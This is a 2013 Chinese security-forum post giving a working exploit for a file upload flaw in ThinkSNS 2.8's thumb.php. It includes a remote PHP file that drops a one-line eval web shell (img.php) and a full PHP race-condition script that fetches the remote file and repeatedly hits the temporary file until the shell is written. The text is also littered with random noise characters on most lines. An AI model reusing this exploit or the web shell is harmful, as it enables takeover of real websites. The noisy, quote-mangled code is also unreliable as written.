中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本  D% e0 O; G9 K
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 a; W& ?. }8 d( N
漏洞文件' L8 u- }/ J  f/ q; E/ [2 p
存在漏洞的文件为:thumb.php
# k- d) {5 O2 m/ ?: d3 f+ \, \作者:韦鲲鹏
: h, q) _% Q! d, A( D1、        准备如下PHP文件并上传到服务器(自己的)。
' X& c* W" r, o' I# a' e- N文件内容如下:
5 x7 Q& E, }% P* X. R6 B" ]<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>3 H! T( I; c  H0 _
2、        计算出临时的文件名:
; H$ c- d! w. M9 R8 }这里我们可以看文件的99行(刚刚是不是没注意呀!)。* I; J/ l+ y! r, b+ D9 u  L

6 _  [& L5 x% n) s3 B3、        上传临时文件。
) H/ H, n( G* u8 [  u; d% H4、        访问临时文件。
/ }' b/ c- W, S6 p% _' F但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
- u7 E3 l7 H2 H, Q1 ?% M- x, YExploit文件内容如下:(这个我就不详细解释了)
" p* z1 |; ^* J2 w0 W  Y: L<?php* h. e5 @2 t2 y9 d: B1 B0 n# ]
error_reporting(0);8 m) G6 k/ ]6 c+ r7 @
set_time_limit(0);' w' G9 ?; l+ v" u& h8 |
ini_set(“default_socket_timeout”, 5);
- [* p. v1 ]" F$ Z! A8 w9 N: L* ufunction http_send($host, $port, $headers) {
" C. k( a4 R/ v$ Q& O" Q$fp = fsockopen($host, $port);6 ]9 j8 |4 m( j0 s5 v$ c6 N) @
if (!$fp) die(‘Connection -> fail’);8 ?& p% t1 {! A$ R/ y8 y
fputs($fp, $headers);
  s& ~( y5 `, k; P+ U2 _3 ereturn $fp;
; {' }7 C3 t' ~3 d$ N}
% H3 Z. Y5 g* ?2 |! Z8 Yfunction http_recv($fp) {
( r/ L6 r2 J) `# s/ s* g$ret=”";. Y  t7 q" R8 u" g1 Z$ F, M1 V! t
while (!feof($fp))4 k5 j: z* Z/ F2 g; r" j8 Q
$ret.= fgets($fp, 1024);
$ P2 P8 h2 E+ R4 Mfclose($fp);
. g3 D; e$ P7 lreturn $ret;
$ _8 Q6 V8 J4 ^+ @5 _$ R: ]}
0 _: q" p4 m0 N( w) gprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
; x2 C; E8 U  H& {: d* |, Bprint “# Discovered by 韦鲲鹏 #\n\n”;
6 e3 \5 r7 R* ~7 W# Hif ($argc < 4) {9 r* d6 p! X9 e( R' r! _: ?8 p% C* b
print “Usage:   php <host> <path> <romote_url>\n”;# {" A3 s2 C7 U7 {
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;5 O" Q! R# ?9 l, Z: \$ z/ w
die();' @& C, I, s; j' M0 ]: e
}
5 v" u5 v3 S# Z5 z3 O$host = $argv[1];
" k: G6 e" ]& g2 V; p+ h$path = $argv[2];
' M* ^; t5 k9 O$url = $argv[3];
0 e: l! ?& A7 J$i=0;
9 X4 h3 J+ |1 b- W) J6 }//上传数据包6 n& Y5 \0 s! d; m5 A% R
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! O, U( x8 u! [+ U  G5 m/ G* w$headers_up .= “Host: “.$host.”\r\n”;
; |( y/ f* G/ p# }. ^% M+ e8 B2 F$headers_up .= “Connection: close\r\n\r\n”;
! B( K* S4 V# V9 k# Jecho $headers_up;- c7 n; g' l  E
//临时文件访问数据包
, O# P% }7 Y2 N7 `! H$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
3 Q; }1 O4 u- ?: f$headers .= “Host: “.$host.”\r\n”;
* I& Y0 T$ H, e" D# g$headers .= “Connection: close\r\n\r\n”;
7 T. T! Z- u0 ]; N3 |echo $headers;7 _2 n& v9 F' c1 T8 g8 X# k3 g
while(++$i<10) {/ M1 n( X. z3 H, \
fclose(http_send($host, 80, $headers));4 @" }7 J5 s# j# [! ~2 L* [
}
2 y) v5 A" ?+ cfclose(http_send($host, 80, $headers_up));
) ?& p* v+ O8 H* z: w1 |while(++$i<50) {4 [& Q" J2 z  a5 b2 w; A( Q
fclose(http_send($host, 80, $headers));
' _. |( W# U- M8 n: j: d' Z( G+ Q}
4 f7 d: \* f4 x- r) {2 |$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;/ h2 i+ \; i- `/ }8 P6 w) u6 e
$headers .= “Host: “.$host.”\r\n”;
" a3 |6 q& [' b7 Y2 l  e$headers .= “Connection: close\r\n\r\n”;; i+ M: K) Y. C9 v  R4 r
$res=http_recv(http_send($host, 80, $headers));
/ i8 e, v& q/ P' Kif(preg_match(‘/200 OK/’,$res)) {
! Y& e4 `1 B) ]5 S  P1 V$ d( tprint “Success!\n\n”;
7 y6 V1 Z  X" G6 \: V( n} else {
$ I. k3 A7 s$ i8 z1 S$ y% Sprint “Fail!\n\n”;$ _/ J( C5 z; Y& ~7 N
}7 l% n$ T, @8 }# Q
?>
* f0 Q8 f4 N  _7 Z




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2